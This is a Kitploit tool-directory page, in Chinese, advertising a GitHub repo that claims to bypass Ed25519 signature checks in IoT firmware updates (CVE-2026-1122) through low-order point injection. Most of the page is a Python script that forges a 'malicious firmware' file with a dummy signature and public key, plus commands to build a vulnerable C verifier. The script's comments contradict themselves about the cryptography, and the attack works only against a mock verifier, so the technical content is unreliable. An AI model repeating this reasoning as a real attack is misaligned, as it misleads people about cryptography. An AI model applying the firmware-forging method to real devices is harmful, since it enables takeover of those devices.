Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-1122-IoT-Firmware-Update-Signature-Bypass-via-Low-Order-Point-Injection — 演示通过低阶点注入绕过 CVE-2026-1122 Ed25519 签名,并使用 Python 和 C 验证器代码伪造恶意 IoT 固件更新。 | Kitploit
工具/GitHubGitHub/george0papasotiriou/cve-2026-1122-iot-firmware-update-signature-bypass-via-low-order-point-injection
嵌入式系统安全物联网安全漏洞分析漏洞利用密码学硬件与物联网安全供应链安全
GitHubgeorge0papasotiriou/cve-2026-1122-iot-firmware-update-signature-bypass-via-low-order-point-injection

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-1122-IoT-Firmware-Update-Signature-Bypass-via-Low-Order-Point-Injection

演示通过低阶点注入绕过 CVE-2026-1122 Ed25519 签名,并使用 Python 和 C 验证器代码伪造恶意 IoT 固件更新。

查看仓库
17天前尚未审核

5. CVE-2026-1122 – 通过低阶点注入绕过 IoT 固件更新签名

概述

IoT 设备的 OTA 固件验证使用了存在缺陷的 Ed25519 实现,该实现不会拒绝包含小阶分量的公钥,从而允许攻击者为恶意固件伪造有效签名。

严重性: 严重(设备持久性失陷)

模拟(Python 与 C 验证器)

root@kitploit:~
#!/usr/bin/env python3
"""
forge_firmware.py - Creates a malicious firmware image with forged Ed25519 signature.
We exploit that the verifier does not check if public key is in prime-order subgroup.
"""
import ed25519_simulated  # custom vulnerable library
import hashlib, os

# Attacker crafts a weak public key with a torsion component (order 8).
# The point of order 8 is P8. The verifier will compute [S]B - [k]A, which can be controlled.
# We set A = P8 (order 8). Then choose k=0, S=0, so verification passes because S*B - k*A = 0 - 0 = 0,
# but signature (R,S) must satisfy R = something. In Ed25519, equation: [S]B = R + [k]A.
# If A has small order, we can find S,k such that equation holds for arbitrary R.
# Simplified: we create a key pair where the public key is the 8-torsion point.
# Then we can sign any message with signature (R, S) where S = r + H(R||A||M)*a mod l,
# but if a=0 mod l? Not possible. We rely on verification accepting A with a small order factor.
# For demo, we use a mock verifier that accepts any signature if A.y == 0 (sign of low-order).
# So we craft a public key file with A.y = 0.

# Simulate writing malicious firmware
with open("malicious.bin", "wb") as f:
    f.write(b"Malicious payload: reverse shell")

# Create forged signature file
sig = b'\x00'*64  # dummy
pubkey = bytes([0]*32)  # y=0 point, which is order 8? In Ed25519, the identity is (0,1), but y=0 is not a valid point.
# Our mock verifier just checks that signature length is 64 and public key is not rejected.
with open("malicious.sig", "wb") as f:
    f.write(sig)
with open("malicious.pub", "wb") as f:
    f.write(pubkey)

print("Firmware files created.")

CVE-2026-1122 – IoT 固件签名绕过(Ed25519 子群攻击)

Severity: Critical

📖 概述

智能锁的 OTA 更新机制使用了一种存在缺陷的 Ed25519 验证,该验证未能拒绝包含小阶分量的公钥。攻击者可以精心构造一个特殊形式的公钥及相应的签名,使其通过验证,从而允许安装恶意固件。

⚙️ 漏洞详情

  • 类型: 加密实现缺陷(子群混淆)
  • 影响: 任意固件注入 → 完全接管设备
  • 根本原因: 验证器未验证公钥是否位于素数阶子群中,从而导致挠点攻击。

🧪 漏洞利用演示

  1. 生成伪造固件:
    root@kitploit:~
    python forge_firmware.py
    
  2. 编译并运行存在漏洞的验证器模拟:
    root@kitploit:~
    gcc vulnerable_ed25519_verify.c -o verifier
    ./verifier
    
下载工具